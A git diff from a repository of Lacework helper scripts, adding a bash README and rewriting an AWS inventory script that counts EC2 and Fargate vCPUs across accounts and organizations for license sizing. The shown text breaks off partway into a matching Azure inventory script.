diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS index fc5035a..f84a7f0 100644 --- a/.github/CODEOWNERS +++ b/.github/CODEOWNERS @@ -21,9 +21,9 @@ # Each line is a file pattern followed by one or more owners. # Order is important; the last matching pattern takes the most precedence. -/AWS-System-Manager/ @bryancross -/bash/ @bvboe @marcosgm @lhasadreams @iancrichardson +/AWS-System-Manager/ +/bash/ @bvboe @marcosgm @lhasadreams @iancrichardson @gabeobrien @kilianhuempfer /cfg_analyzers/ @rmoles @marcosgm -/pwsh/ @marcosgm @droessmj -/scanners/ @marcosgm @shiloam @OzNetNerd -/test/ @droessmj \ No newline at end of file +/pwsh/ @marcosgm +/scanners/ @marcosgm @shiloam +/test/ diff --git a/bash/README.md b/bash/README.md new file mode 100644 index 0000000..da9821b --- /dev/null +++ b/bash/README.md @@ -0,0 +1,164 @@ +# Handy BASH scrips for working with Lacework + +## lw_aws_inventory.sh +Script for estimating license vCPUs in an AWS environment. It leverages the AWS CLI and leverages by default the default profile that’s either configured using environment variables or configuration files in the ~/.aws folder. The script provides output in a CSV format to be imported into a spreadsheet, as well as an easy-to-read summary. + +Note the following about the script: +* It requires AWS CLI v2 to run +* It has been verified to work on Mac and Linux based systems +* It works great in a cloud shell +* It does not work on Windows (Cygwin), but has been observed to work with Windows Subsystem for Linux. +* Run using the following syntax: ./lw_aws_inventory.sh, sh lw_aws_inventory.sh will not work + +The output from running the script can look as follows: +``` +./lw_aws_inventory.sh -p admin-account -o -r us-east-1 +Profile, Account ID, Regions, EC2 Instances, EC2 vCPUs, ECS Fargate Clusters, ECS Fargate Running Containers/Tasks, ECS Fargate CPU Units, ECS Fargate License vCPUs, Lambda Functions (Not used for licensing), Total vCPUSs +sandbox-1, 123456789012, us-east-1, 2, 2, 0, 0, 0, 0, 0, 2 +sandbox-2, 234567890123, us-east-1, 0, 0, 0, 0, 0, 0, 0, 0 +logging, 345678901234, us-east-1, 0, 0, 0, 0, 0, 0, 0, 0 +###################################################################### +Lacework inventory collection complete. + +Organizations Analyzed: 1 +Accounts Analyzed: 3 + +EC2 Information +==================== +EC2 Instances: 2 +EC2 vCPUs: 2 + +Fargate Information +==================== +ECS Clusters: 0 +ECS Fargate Running Tasks: 0 +ECS Fargate Container CPU Units: 0 +ECS Fargate vCPUs: 0 + +Lambda Information +==================== +Lambda Functions: 0 + +License Summary +==================== + EC2 vCPUs: 2 ++ ECS Fargate vCPUs: 0 +---------------------------- += Total vCPUs: 2 +``` +The following options can be used to modify how the script is run: +### Specify one or more account profiles to scan using -p parameter +``` +./lw_aws_inventory.sh -p default,lw-customerdemo +``` +### Specify what regions to scan, to speed up scanning or avoid restricted regions +``` +./lw_aws_inventory.sh -r us-east-1,us-east-2 +``` +### Scan all accounts in an AWS Organization +``` +./lw_aws_inventory.sh -o OrganizationAccountAccessRole +``` +This will leverage the OrganizationAccountAccessRole to scan all accounts in an organization. + +## lw_gcp_inventory.sh +Script for estimating license vCPUs in a GCP environment, based on folder, project or organization level. + +Note the following about the script: +* It does not work on Windows +* It has only been verified to work on Mac and Linux based systems +* It works great in a cloud shell + +``` +$ ./lw_gcp_inventory.sh -help +Usage: ./lw_gcp_inventory.sh [-f folder] [-o organization] [-p project] +Any single scope can have multiple values comma delimited, but multiple scopes cannot be defined. +``` + +By default, the script will scan any project that the user has access to: +``` +$ ./lw_gcp_inventory.sh +"Project", "VM Count", "vCPUs" +"projects/project-one", 2, 8 +"projects/project-two", 3, 12 +########################################## +Lacework inventory collection complete. + +License Summary: +================================================ +Number of VMs, including standard GKE: 5 +vCPUs: 20 +``` + +The scope of the scan can be further refined using the -f, -o or -p parameters: +``` +$ ./lw_gcp_inventory.sh -p project-one,project-two +"Project", "VM Count", "vCPUs" +"projects/project-one", 2, 8 +"projects/project-two", 3, 12 +########################################## +Lacework inventory collection complete. + +License Summary: +================================================ +Number of VMs, including standard GKE: 5 +vCPUs: 20 +``` + +## lw_azure_inventory.sh +Script for estimating license vCPUs in an Azure environment, based on folder, project or organization level. + +Note the following about the script: +* It does not work on Windows +* It has only been verified to work on Mac and Linux based systems +* It works great in a cloud shell + +``` +./lw_azure_inventory.sh -help +Usage: ./lw_azure_inventory.sh [-m management_group] [-s subscription] +Any single scope can have multiple values comma delimited, but multiple scopes cannot be defined. +``` + +By default, the script will scan any subscriptions the user has configured access to: +``` +$ ./lw_azure_inventory.sh -m b448f327-c977-4cb8-9c27-09cfaa781bb9 +resource-graph extension already present... +Building Azure VM SKU to vCPU map... +Map built successfully. +Load subscriptions +Load VMs +Load VMSS +"Subscription ID", "Subscription Name", "VM Instances", "VM vCPUs", "VM Scale Sets", "VM Scale Set Instances", "VM Scale Set vCPUs", "Total Subscription vCPUs" +"1215ba55...", "Subscription Number One", 2, 4, 0, 0, 0, 4 +"72165fcf...", "Subscription Number Two", 1, 2, 0, 0, 0, 2 +########################################## +Lacework inventory collection complete. + +VM Summary: +=============================== +VM Instances: 3 +VM vCPUS: 6 + +VM Scale Set Summary: +=============================== +VM Scale Sets: 0 +VM Scale Set Instances: 0 +VM Scale Set vCPUs: 0 + +License Summary +=============================== + VM vCPUS: 6 ++ VM Scale Set vCPUs: 0 +------------------------------- +Total vCPUs: 6 +``` + +The scope can further be refined by specifying management groups or subscriptions. +### Specify subscriptions to scan +``` +$ ./lw_azure_inventory.sh -s 1215ba55,72165fcf +``` +### Specify management group to scan +``` +$ ./lw_azure_inventory.sh -m mymanagementgroup,myothermanagementgroup +``` diff --git a/bash/lw_aws_inventory.sh b/bash/lw_aws_inventory.sh index c4262ef..365243d 100755 --- a/bash/lw_aws_inventory.sh +++ b/bash/lw_aws_inventory.sh @@ -1,199 +1,519 @@ #!/bin/bash # Script to fetch AWS inventory for Lacework sizing. -# Requirements: awscli, jq +# Requirements: awscli v2, jq -# You can specify a profile with the -p flag -# Note: -# 1. You can specify multiple accounts by passing a comma seperated list, e.g. "default,qa,test", -# there are no spaces between accounts in the list -# 2. The script takes a while to run in large accounts with many resources, provides details per account and a final summary of all resources found. +# Run ./lw_aws_inventory.sh -h for help on how to run the script. +# Or just read the text in showHelp below. +function showHelp { + echo "lw_aws_inventory.sh is a tool for estimating Lacework license vCPUs in an AWS environment." + echo "It leverages the AWS CLI and by default the default profile that’s either configured using" + echo "environment variables or configuration files in the ~/.aws folder. The script provides" + echo "output in a CSV format to be imported into a spreadsheet, as well as an easy-to-read summary." + echo "" + echo "Note the following about the script:" + echo "* Requires AWS CLI v2 to run" + echo "* Works great in a cloud shell" + echo "* It has been verified to work on Mac and Linux based systems" + echo "* Has been observed to work with Windows Subsystem for Linux to run on Windows" + echo "* Not compatible with Cygwin on Windows" + echo "* Run using the following syntax: ./lw_aws_inventory.sh, sh lw_aws_inventory.sh will not work" + echo "" + echo "Available flags:" + echo " -p Comma separated list of AWS CLI profiles to scan." + echo " If not specified, the tool will use the connection information that the AWS CLI picks" + echo " by default, which will either be whatever is set in environment variables or as the" + echo " default profile." + echo " ./lw_aws_inventory.sh -p default" + echo " ./lw_aws_inventory.sh -p development,test,production" + echo " -r Comma-separated list of regions to scan." + echo " By default, the script will attempt to collect sizing data for all regions returned by" + echo " aws ec2 describe-regions. This is by default a list of 17 regions. This parameter will" + echo " limit the scope to a pre-defined set of regions, which will avoid errors when regions" + echo " are disabled and speed up the scan." + echo " ./lw_aws_inventory.sh -r us-east-1" + echo " ./lw_aws_inventory.sh -r us-east-1,us-west-1" + echo " -o Scan a complete AWS organization" + echo " This uses aws organizations list-accounts to determine what accounts are in an" + echo " organization and assumes a cross account role to scan each account in the organization," + echo " except for the master account, which is scanned directly." + echo " The role typically used cross-account access is OrganizationAccountAccessRole, which" + echo " is accessed from a user in the master account." + echo " ./lw_aws_inventory.sh -o OrganizationAccountAccessRole" + echo " -a Scan a specific account within an organization" + echo " This would leverage the cross-account role defined using the -o parameter to only" + echo " scan an individual account within an AWS organisation." + echo " ./lw_aws_inventory.sh -o OrganizationAccountAccessRole -a 1234567890" + echo " -g Specifies a script to be generated that contains a call for each account to be analyzed." + echo " This is useful for analyzing AWS organizations with many accounts to break up the analysis" + echo " into smaller chunks." + echo " ./lw_aws_inventory.sh -o OrganizationAccountAccessRole -a 1234567890 -g script.sh" + echo " ./script.sh" + echo " --output Specify level of output" + echo " all - CSV and summary" + echo " summary - Summary only" + echo " csv - CSV only" + echo " csvnoheader - CVS only without header" + echo " ./lw_aws_inventory.sh --ouptput csv" +} -AWS_PROFILE=default +AWS_PROFILE="" export AWS_MAX_ATTEMPTS=20 +REGIONS="" +ORG_ACCESS_ROLE="" +ORG_SCAN_ACCOUNT="" +PRINT_CSV_DETAILS="true" +PRINT_CSV_HEADER="true" +PRINT_SUMMARY="true" +GENERATE_SCRIPT="" + +ORG_AWS_ACCESS_KEY_ID=$AWS_ACCESS_KEY_ID +ORG_AWS_SECRET_ACCESS_KEY=$AWS_SECRET_ACCESS_KEY +ORG_AWS_SESSION_TOKEN=$AWS_SESSION_TOKEN + +CSV_HEADER="\"Profile\", \"Account ID\", \"Regions\", \"EC2 Instances\", \"EC2 vCPUs\", \"ECS Fargate Clusters\", \"ECS Fargate Running Containers/Tasks\", \"ECS Fargate CPU Units\", \"ECS Fargate License vCPUs\", \"Lambda Functions (Not used for licensing)\", \"Total vCPUSs\"" # Usage: ./lw_aws_inventory.sh -while getopts ":jp::t" opt; do +while getopts ":p:o:r:a:-:g:" opt; do case ${opt} in p ) AWS_PROFILE=$OPTARG ;; + o ) + ORG_ACCESS_ROLE=$OPTARG + ;; + a ) + ORG_SCAN_ACCOUNT=$OPTARG + ;; + g ) + GENERATE_SCRIPT=$OPTARG + ;; + r ) + REGIONS=$OPTARG + ;; + -) + case "${OPTARG}" in + #Default configuration is to print CSV and summary. This section overrides those settings as needed + output) + output="${!OPTIND}"; OPTIND=$(( $OPTIND + 1 )) + case "${output}" in + csv) + PRINT_SUMMARY="false" + ;; + summary) + PRINT_CSV_DETAILS="false" + PRINT_CSV_HEADER="false" + ;; + all) + #Do nothing, default configuration + ;; + csvnoheader) + PRINT_CSV_HEADER="false" + PRINT_SUMMARY="false" + ;; + *) + echo "Invalid argument. Valid options for --output: csv, summary, all, csvnoheader" + showHelp + exit + ;; + esac + ;; + *) + showHelp + exit + ;; + esac;; \? ) - echo "Usage: ./lw_aws_inventory.sh [-p profile]" 1>&2 + showHelp exit 1 ;; : ) - echo "Usage: ./lw_aws_inventory.sh [-p profile]" 1>&2 + showHelp exit 1 ;; esac done shift $((OPTIND -1)) +#Check AWS CLI pre-requisites +AWS_CLI_VERSION=$(aws --version 2>&1 | cut -d " " -f1 | cut -d "/" -f2) +if [[ $AWS_CLI_VERSION = 1* ]] +then + echo The script requires AWS CLI v2 to run. The current version installed is version $AWS_CLI_VERSION. + echo See https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html for instructions on how to upgrade. + exit +fi + +#Ensure the script runs with the BASH shell +echo $BASH | grep -q "bash" +if [ $? -ne 0 ] +then + echo The script is running using the incorrect shell. + echo Use ./lw_aws_inventory.sh to run the script using the required shell, bash. + exit +fi + +#Ensure jq is installed + +if ! command -v jq &> /dev/null +then + echo "The script requires jq to run." + echo "See https://jqlang.github.io/jq/download/ for installation options." + exit 1 +fi + # Set the initial counts to zero. ACCOUNTS=0 +ORGANIZATIONS=0 EC2_INSTANCES=0 -RDS_INSTANCES=0 -REDSHIFT_CLUSTERS=0 -ELB_V1=0 -ELB_V2=0 -NAT_GATEWAYS=0 +EC2_INSTANCE_VCPU=0 ECS_FARGATE_CLUSTERS=0 ECS_FARGATE_RUNNING_TASKS=0 -LAMBDA_FNS=0 -LAMBDA_FNS_EXIST="No" +ECS_FARGATE_CPUS=0 +LAMBDA_FUNCTIONS=0 + +function cleanup { + # Revert to original AWS CLI configuration if script is stopped during execution + export AWS_ACCESS_KEY_ID=$ORG_AWS_ACCESS_KEY_ID + export AWS_SECRET_ACCESS_KEY=$ORG_AWS_SECRET_ACCESS_KEY + export AWS_SESSION_TOKEN=$ORG_AWS_SESSION_TOKEN +} +trap cleanup EXIT function getAccountId { - aws --profile $profile sts get-caller-identity --query "Account" --output text + local profile_string=$1 + aws $profile_string sts get-caller-identity --query "Account" --output text } function getRegions { - aws --profile $profile ec2 describe-regions --output json | jq -r '.[] | .[] | .RegionName' + local profile_string=$1 + aws $profile_string ec2 describe-regions --output json | jq -r '.[] | .[] | .RegionName' } -function getInstances { - aws --profile $profile ec2 describe-instances --query 'Reservations[*].Instances[*].[InstanceId]' --filters Name=instance-state-name,Values=running,stopped --region $r --output json --no-paginate | jq 'flatten | length' +function getEC2Instances { + local profile_string=$1 + local r=$2 + local instances=$(aws $profile_string ec2 describe-instances --query 'Reservations[*].Instances[*].[InstanceId]' --filters Name=instance-state-name,Values=running --region $r --output json --no-cli-pager 2>&1) + if [[ $instances = [* ]] + then + echo $(echo $instances | jq 'flatten | length') + else + echo "-1" + fi } -function getRDSInstances { - aws --profile $profile rds describe-db-instances --region $r --output json --no-paginate | jq '.DBInstances | length' -} - -function getRedshift { - aws --profile $profile redshift describe-clusters --region $r --output json --no-paginate | jq '.Clusters | length' -} - -function getElbv1 { - aws --profile $profile elb describe-load-balancers --region $r --output json --no-paginate | jq '.LoadBalancerDescriptions | length' -} - -function getElbv2 { - aws --profile $profile elbv2 describe-load-balancers --region $r --output json --no-paginate | jq '.LoadBalancers | length' -} - -function getNatGateways { - aws --profile $profile ec2 describe-nat-gateways --region $r --output json --no-paginate | jq '.NatGateways | length' +function getEC2InstacevCPUs { + local profile_string=$1 + local r=$2 + cpucounts=$(aws $profile_string ec2 describe-instances --query 'Reservations[*].Instances[*].[CpuOptions]' --filters Name=instance-state-name,Values=running --region $r --output json --no-cli-pager | jq '.[] | .[] | .[] | .CoreCount * .ThreadsPerCore') + returncount=0 + for cpucount in $cpucounts; do + returncount=$(($returncount + $cpucount)) + done + echo "${returncount}" } function getECSFargateClusters { - aws --profile $profile ecs list-clusters --region $r --output json --no-paginate | jq -r '.clusterArns[]' + local profile_string=$1 + local r=$2 + aws $profile_string ecs list-clusters --region $r --output json --no-cli-pager | jq -r '.clusterArns[]' } function getECSFargateRunningTasks { - RUNNING_FARGATE_TASKS=0 + local profile_string=$1 + local r=$2 + local ecsfargateclusters=$3 + local RUNNING_FARGATE_TASKS=0 for c in $ecsfargateclusters; do - allclustertasks=$(aws --profile $profile ecs list-tasks --region $r --output json --cluster $c --no-paginate | jq -r '.taskArns | join(" ")') - if [ -n "${allclustertasks}" ]; then - fargaterunningtasks=$(aws --profile $profile ecs describe-tasks --region $r --output json --tasks $allclustertasks --cluster $c --no-paginate | jq '[.tasks[] | select(.launchType=="FARGATE") | .containers[] | select(.lastStatus=="RUNNING")] | length') - RUNNING_FARGATE_TASKS=$(($RUNNING_FARGATE_TASKS + $fargaterunningtasks)) - fi + allclustertasks=$(aws $profile_string ecs list-tasks --region $r --output json --cluster $c --no-cli-pager | jq -r '.taskArns | join(" ")') + while read -r batch; do + if [ -n "${batch}" ]; then + fargaterunningtasks=$(aws $profile_string ecs describe-tasks --region $r --output json --tasks $batch --cluster $c --no-cli-pager | jq '[.tasks[] | select(.launchType=="FARGATE") | select(.lastStatus=="RUNNING")] | length') + RUNNING_FARGATE_TASKS=$(($RUNNING_FARGATE_TASKS + $fargaterunningtasks)) + fi + done < <(echo $allclustertasks | xargs -n 90) done echo "${RUNNING_FARGATE_TASKS}" } +function getECSFargateRunningCPUs { + local profile_string=$1 + local r=$2 + local ecsfargateclusters=$3 + local RUNNING_FARGATE_CPUS=0 + for c in $ecsfargateclusters; do + allclustertasks=$(aws $profile_string ecs list-tasks --region $r --output json --cluster $c --no-cli-pager | jq -r '.taskArns | join(" ")') + while read -r batch; do + if [ -n "${batch}" ]; then + cpucounts=$(aws $profile_string ecs describe-tasks --region $r --output json --tasks $batch --cluster $c --no-cli-pager | jq '[.tasks[] | select(.launchType=="FARGATE") | select(.lastStatus=="RUNNING")] | .[].cpu | tonumber') + + for cpucount in $cpucounts; do + RUNNING_FARGATE_CPUS=$(($RUNNING_FARGATE_CPUS + $cpucount)) + done + fi + done < <(echo $allclustertasks | xargs -n 90) + done + + echo "${RUNNING_FARGATE_CPUS}" +} function getLambdaFunctions { - aws --profile $profile lambda list-functions --region $r --output json --no-paginate | jq '.Functions | length' + local profile_string=$1 + local r=$2 + aws $profile_string lambda list-functions --region $r --output json --no-cli-pager | jq '.Functions | length' } function calculateInventory { - profile=$1 - accountid=$(getAccountId $profile) - - accountEC2Instances=0 - accountRDSInstances=0 - accountRedshiftClusters=0 - accountELBV1=0 - accountELBV2=0 - accountNATGateways=0 - accountECSFargateClusters=0 - accountECSFargateRunningTasks=0 - accountLambdaFunctions=0 - - printf "$profile, $accountid, " - for r in $(getRegions); do - printf "$r " - - instances=$(getInstances $r $profile) - EC2_INSTANCES=$(($EC2_INSTANCES + $instances)) - accountEC2Instances=$(($accountEC2Instances + $instances)) - - rds=$(getRDSInstances $r $profile) - RDS_INSTANCES=$(($RDS_INSTANCES + $rds)) - accountRDSInstances=$(($accountRDSInstances + $rds)) - - redshift=$(getRedshift $r $profile) - REDSHIFT_CLUSTERS=$(($REDSHIFT_CLUSTERS + $redshift)) - accountRedshiftClusters=$(($accountRedshiftClusters + $redshift)) - - elbv1=$(getElbv1 $r $profile) - ELB_V1=$(($ELB_V1 + $elbv1)) - accountELBV1=$(($accountELBV1 + $elbv1)) - - elbv2=$(getElbv2 $r $profile) - ELB_V2=$(($ELB_V2 + $elbv2)) - accountELBV2=$(($accountELBV2 + $elbv2)) - - natgw=$(getNatGateways $r $profile) - NAT_GATEWAYS=$(($NAT_GATEWAYS + $natgw)) - accountNATGateways=$(($accountNATGateways + $natgw)) - - ecsfargateclusters=$(getECSFargateClusters $r $profile) - ecsfargateclusterscount=$(echo $ecsfargateclusters | wc -w | xargs) - ECS_FARGATE_CLUSTERS=$(($ECS_FARGATE_CLUSTERS + $ecsfargateclusterscount)) - accountECSFargateClusters=$(($ECS_FARGATE_CLUSTERS + $ecsfargateclusterscount)) - - ecsfargaterunningtasks=$(getECSFargateRunningTasks $r $ecsfargateclusters $profile) - ECS_FARGATE_RUNNING_TASKS=$(($ECS_FARGATE_RUNNING_TASKS + $ecsfargaterunningtasks)) - accountECSFargateRunningTasks=$(($ECS_FARGATE_RUNNING_TASKS + $ecsfargaterunningtasks)) - - lambdafns=$(getLambdaFunctions $r $profile) - LAMBDA_FNS=$(($LAMBDA_FNS + $lambdafns)) - accountLambdaFunctions=$(($LAMBDA_FNS + $lambdafns)) - if [ $LAMBDA_FNS -gt 0 ]; then LAMBDA_FNS_EXIST="Yes"; fi - - regiontotal=$(($instances + $rds + $redshift + $elbv1 + $elbv2 + $natgw)) + local account_name=$1 + local profile_string=$2 + local accountid=$(getAccountId "$profile_string") + local accountEC2Instances=0 + local accountEC2vCPUs=0 + local accountECSFargateClusters=0 + local accountECSFargateRunningTasks=0 + local accountECSFargateCPUs=0 + local accountLambdaFunctions=0 + local accountTotalvCPUs=0 + + if [[ $PRINT_CSV_DETAILS == "true" ]] + then + printf "$account_name, $accountid," + fi + local regionsToScan=$(echo $REGIONS | sed "s/,/ /g") + if [ -z "$regionsToScan" ] + then + # Regions to scan not set, get list from AWS + regionsToScan=$(getRegions "$profile_string") + fi + for r in $regionsToScan; do + if [[ $PRINT_CSV_DETAILS == "true" ]] + then + printf " $r" + fi + instances=$(getEC2Instances "$profile_string" "$r") + if [[ $instances < 0 ]] + then + printf " (ERROR: No access to $r)" + else + EC2_INSTANCES=$(($EC2_INSTANCES + $instances)) + accountEC2Instances=$(($accountEC2Instances + $instances)) + + ec2vcpu=$(getEC2InstacevCPUs "$profile_string" "$r") + EC2_INSTANCE_VCPU=$(($EC2_INSTANCE_VCPU + $ec2vcpu)) + accountEC2vCPUs=$(($accountEC2vCPUs + $ec2vcpu)) + + ecsfargateclusters=$(getECSFargateClusters "$profile_string" "$r") + ecsfargateclusterscount=$(echo $ecsfargateclusters | wc -w | xargs) + ECS_FARGATE_CLUSTERS=$(($ECS_FARGATE_CLUSTERS + $ecsfargateclusterscount)) + accountECSFargateClusters=$(($accountECSFargateClusters + $ecsfargateclusterscount)) + + ecsfargaterunningtasks=$(getECSFargateRunningTasks "$profile_string" "$r" "$ecsfargateclusters") + ECS_FARGATE_RUNNING_TASKS=$(($ECS_FARGATE_RUNNING_TASKS + $ecsfargaterunningtasks)) + accountECSFargateRunningTasks=$(($accountECSFargateRunningTasks + $ecsfargaterunningtasks)) + + ecsfargatecpu=$(getECSFargateRunningCPUs "$profile_string" "$r" "$ecsfargateclusters") + ECS_FARGATE_CPUS=$(($ECS_FARGATE_CPUS + $ecsfargatecpu)) + accountECSFargateCPUs=$(($accountECSFargateCPUs + $ecsfargatecpu)) + + lambdafunctions=$(getLambdaFunctions "$profile_string" "$r") + LAMBDA_FUNCTIONS=$(($LAMBDA_FUNCTIONS + $lambdafunctions)) + accountLambdaFunctions=$(($accountLambdaFunctions + $lambdafunctions)) + fi done - accountTotal=$(($accountEC2Instances + $accountRDSInstances + $accountRedshiftClusters + $accountELBV1 + $accountELBV2 + $accountNATGateways)) - echo , "$accountEC2Instances", "$accountRDSInstances", "$accountRedshiftClusters", "$accountELBV1", "$accountELBV2", "$accountNATGateways", "$accountTotal", "$accountECSFargateClusters", "$accountECSFargateRunningTasks", "$accountLambdaFunctions" + accountECSFargatevCPUs=$(($accountECSFargateCPUs / 1024)) + accountTotalvCPUs=$(($accountEC2vCPUs + $accountECSFargatevCPUs)) - TOTAL=$(($EC2_INSTANCES + $RDS_INSTANCES + $REDSHIFT_CLUSTERS + $ELB_V1 + $ELB_V2 + $NAT_GATEWAYS)) + if [[ $PRINT_CSV_DETAILS == "true" ]] + then + echo , "$accountEC2Instances", "$accountEC2vCPUs", "$accountECSFargateClusters", "$accountECSFargateRunningTasks", "$accountECSFargateCPUs", "$accountECSFargatevCPUs", "$accountLambdaFunctions", "$accountTotalvCPUs" + fi } function textoutput { echo "######################################################################" echo "Lacework inventory collection complete." echo "" - echo "Accounts Analyzed: $ACCOUNTS" + echo "Organizations Analyzed: $ORGANIZATIONS" + echo "Accounts Analyzed: $ACCOUNTS" echo "" - echo "EC2 Instances: $EC2_INSTANCES" - echo "RDS Instances: $RDS_INSTANCES" - echo "Redshift Clusters: $REDSHIFT_CLUSTERS" - echo "v1 Load Balancers: $ELB_V1" - echo "v2 Load Balancers: $ELB_V2" - echo "NAT Gateways: $NAT_GATEWAYS" + echo "EC2 Information" echo "====================" - echo "Total Resources: $TOTAL" + echo "EC2 Instances: $EC2_INSTANCES" + echo "EC2 vCPUs: $EC2_INSTANCE_VCPU" echo "" echo "Fargate Information" echo "====================" - echo "ECS Fargate Clusters: $ECS_FARGATE_CLUSTERS" - echo "ECS Fargate Running Containers/Tasks: $ECS_FARGATE_RUNNING_TASKS" + echo "ECS Clusters: $ECS_FARGATE_CLUSTERS" + echo "ECS Fargate Running Tasks: $ECS_FARGATE_RUNNING_TASKS" + echo "ECS Fargate Container CPU Units: $ECS_FARGATE_CPUS" + echo "ECS Fargate vCPUs: $ECS_FARGATE_VCPUS" + echo "" + echo "Lambda Information (Not used for licensing)" + echo "============================================" + echo "Lambda Functions: $LAMBDA_FUNCTIONS" echo "" - echo "Additional Serverless Inventory Details (NOT included in Total Resources count above):" + echo "License Summary" echo "====================" - echo "Lambda Functions Exist: $LAMBDA_FNS_EXIST" + echo " EC2 vCPUs: $EC2_INSTANCE_VCPU" + echo "+ ECS Fargate vCPUs: $ECS_FARGATE_VCPUS" + echo "----------------------------" + echo "= Total vCPUs: $TOTAL_VCPUS" } -echo "Profile", "Account ID", "Regions", "EC2 Instances", "RDS Instances", "Redshift Clusters", "v1 Load Balancers", "v2 Load Balancers", "NAT Gateways", "Total Resources", "ECS Fargate Clusters", "ECS Fargate Running Containers/Tasks", "Lambda Functions" +function analyzeOrganization { + local org_profile_string=$1 + local orgAccountId=$(getAccountId "$org_profile_string") + local accounts=$(aws $org_profile_string organizations list-accounts | jq -c '.Accounts[]' | jq -c '{Id, Name}') + if [ -n "$ORG_SCAN_ACCOUNT" ] + then + local account_name=$(echo $accounts | jq -r --arg account "$ORG_SCAN_ACCOUNT" 'select(.Id==$account) | .Name') + analyzeOrganizationAccount "$org_profile_string" "$ORG_SCAN_ACCOUNT" "$account_name" + else + for account in $(echo $accounts | jq -r '.Id') + do + local account_name=$(echo $accounts | jq -r --arg account "$account" 'select(.Id==$account) | .Name') + if [[ $orgAccountId == $account ]] + then + # Found master account, role most likely don't exist, just connnect directly + ACCOUNTS=$(($ACCOUNTS + 1)) + calculateInventory "$account_name" "$org_profile_string" + else + analyzeOrganizationAccount "$org_profile_string" "$account" "$account_name" + fi + done + fi +} -for PROFILE in $(echo $AWS_PROFILE | sed "s/,/ /g") -do +function analyzeOrganizationAccount { + local org_profile_string=$1 + local account=$2 + local account_name=$3 + + local account_credentials=$(aws $org_profile_string sts assume-role --role-session-name LW-INVENTORY --role-arn arn:aws:iam::$account:role/$ORG_ACCESS_ROLE 2>&1) + if [[ $account_credentials = {* ]] + then + #Got ok credential back, do analysis ACCOUNTS=$(($ACCOUNTS + 1)) - calculateInventory $PROFILE -done + export AWS_ACCESS_KEY_ID=$(echo $account_credentials | jq -r '.Credentials.AccessKeyId') + export AWS_SECRET_ACCESS_KEY=$(echo $account_credentials | jq -r '.Credentials.SecretAccessKey') + export AWS_SESSION_TOKEN=$(echo $account_credentials | jq -r '.Credentials.SessionToken') + calculateInventory "$account_name" "" + export AWS_ACCESS_KEY_ID=$ORG_AWS_ACCESS_KEY_ID + export AWS_SECRET_ACCESS_KEY=$ORG_AWS_SECRET_ACCESS_KEY + export AWS_SESSION_TOKEN=$ORG_AWS_SESSION_TOKEN + else + #Failed to connect, print error message + echo "ERROR: Failed to connect to account \"$account_name\" ($account). ${account_credentials}" + echo "aws $org_profile_string sts assume-role --role-session-name LW-INVENTORY --role-arn arn:aws:iam::$account:role/$ORG_ACCESS_ROLE" + fi +} + +function runAnalysis { + if [[ $PRINT_CSV_HEADER == "true" ]] + then + echo $CSV_HEADER + fi + + if [ -n "$ORG_ACCESS_ROLE" ] + then + for PROFILE in $(echo $AWS_PROFILE | sed "s/,/ /g") + do + ORGANIZATIONS=$(($ORGANIZATIONS + 1)) + PROFILE_STRING="--profile $PROFILE" + analyzeOrganization "$PROFILE_STRING" + done + + if [ -z "$PROFILE" ] + then + ORGANIZATIONS=1 + analyzeOrganization "" + fi + else + for PROFILE in $(echo $AWS_PROFILE | sed "s/,/ /g") + do + # Profile set + PROFILE_STRING="--profile $PROFILE" + ACCOUNTS=$(($ACCOUNTS + 1)) + calculateInventory "$PROFILE" "$PROFILE_STRING" + done + + if [ -z "$PROFILE" ] + then + # No profile argument, run AWS CLI default + ACCOUNTS=1 + calculateInventory "" "" + fi + fi + + ECS_FARGATE_VCPUS=$(($ECS_FARGATE_CPUS / 1024)) + TOTAL_VCPUS=$(($EC2_INSTANCE_VCPU + $ECS_FARGATE_VCPUS)) + + if [[ $PRINT_SUMMARY == "true" ]] + then + textoutput + fi +} + +function generateOrganizationScript { + local profile=$1 + local cliProfileString=$2 + local regionString=$3 + local orgMasterAccountID=$(getAccountId "$cliProfileString") + local accounts=$(aws $cliProfileString organizations list-accounts | jq -c '.Accounts[]' | jq -c '{Id, Name}') + + for account in $(echo $accounts | jq -r '.Id') + do + if [[ $orgMasterAccountID == $account ]] + then + echo "$0 $profile $regionString --output csvnoheader" >> $GENERATE_SCRIPT + else + echo "$0 $profile -o $ORG_ACCESS_ROLE -a $account $regionString --output csvnoheader" >> $GENERATE_SCRIPT + fi + done +} + +function generateScript { + echo Generating script $GENERATE_SCRIPT + + echo "#!/bin/bash" > $GENERATE_SCRIPT + echo "echo $CSV_HEADER" >> $GENERATE_SCRIPT + chmod +x $GENERATE_SCRIPT + + local scriptRegions="" + if [ -n "$REGIONS" ] + then + scriptRegions="-r $REGIONS" + fi + if [ -n "$ORG_ACCESS_ROLE" ] + then + for PROFILE in $(echo $AWS_PROFILE | sed "s/,/ /g") + do + generateOrganizationScript "-p $PROFILE" "--profile $PROFILE" "$scriptRegions" + done + + if [ -z "$PROFILE" ] + then + generateOrganizationScript "" "" "$scriptRegions" + fi + else + for PROFILE in $(echo $AWS_PROFILE | sed "s/,/ /g") + do + echo "$0 $regionString -p $PROFILE $scriptRegions --output csvnoheader" >> $GENERATE_SCRIPT + done + + if [ -z "$PROFILE" ] + then + echo "$0 $regionString $scriptRegions --output csvnoheader" >> $GENERATE_SCRIPT + fi + fi +} -textoutput +if [[ -n $GENERATE_SCRIPT ]] +then + generateScript +else + runAnalysis +fi diff --git a/bash/lw_azure_inventory.sh b/bash/lw_azure_inventory.sh index cd648f0..9810eaa 100755 --- a/bash/lw_azure_inventory.sh +++ b/bash/lw_azure_inventory.sh @@ -1,93 +1,225 @@ #!/bin/bash + # Script to fetch Azure inventory for Lacework sizing. -# Requirements: az cli, jq +# Requirements: az cli, jq, cut, grep # This script can be run from Azure Cloud Shell. - -# Set the initial counts to zero. -AZURE_VMS=0 -AZURE_VMSS=0 -SQL_SERVERS=0 -LOAD_BALANCERS=0 -GATEWAYS=0 - -function getSubscriptions { - az account list | jq -r '.[] | .id' +# Run ./lw_azure_inventory.sh -h for help on how to run the script. +# Or just read the text in showHelp below. + +function showHelp { + echo "lw_azure_inventory.sh is a tool for estimating license vCPUs in an Azure environment, based on" + echo "subscription or management group level. It leverages the az CLI and by default analyzes all" + echo "subscriptions a user has access to. The script provides output in a CSV format to be imported" + echo "into a spreadsheet, as well as an easy-to-read summary." + echo "" + echo "By default, the script will scan all subscriptions returned by the following command:" + echo "az account subscription list" + echo "" + echo "Note the following about the script:" + echo 